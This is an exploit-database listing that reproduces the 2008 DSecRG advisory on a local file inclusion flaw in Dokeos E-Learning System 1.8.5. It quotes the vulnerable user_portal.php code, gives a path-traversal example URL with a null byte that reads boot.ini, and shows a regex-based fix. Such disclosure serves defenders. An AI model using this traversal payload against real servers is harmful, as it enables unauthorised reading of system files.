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Home arrow ExploitAlert Database

Arrow  Topic :

Dokeos E-Learning System 1.8.5 Local File Inclusion Vulnerability


Arrow  ExploitAlert : 4401
  SecurityAlert : 4056 (Exploit Details)
  Milw0rm ID : 6149
Arrow  Credit : DSecRG
Arrow  Date : 28.07.2008

Arrow   Download

Arrow   Plain text version


Arrow  Exploit Code :  

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-029


Application: Dokeos E-Learning System
Versions Affected: 1.8.5
Vendor URL: http://dokeos.com/
Bug: Local File Include
Exploits: YES
Reported: 01.07.2008
Vendor response: 05.07.2008
Solution: YES
Date of Public Advisory: 17.07.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)



Description
***********

Dokeos E-Learning System system has local file include vulnerability in
script user_portal.php

Vulnerable GET parameter "include".

Registered user can use this vulnerability.

Code
****
#################################################

if (!empty ($_GET['include']) && !strstr($_GET['include'], '/') &&
strstr($_GET['include'], '.html'))
{
include ('./home/'.$_GET['include']);
$pageIncluded = true;
}
else
..

#################################################

Example:

http://[server]/[installdir]/user_portal.php?include=..\..\..\..\..\..\..\.
.\..\..\..\..\..\boot.ini%00.html


Fix Information

***************

you can fix it following this official information
http://www.dokeos.com/wiki/index.php/Security Or wait a new
release


Fixing this issue can be done by replacing line 770 of /user_portal.php
by:

if (!empty ($_GET['include']) &&
preg_match('/^[a-zA-Z0-9_-]*\.html$/',$_GET['include']))



About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and
certification for ISO/IEC 27001:2005 and
PCI DSS standards. Digital Security Research Group focuses on web
application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our
website.


Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)





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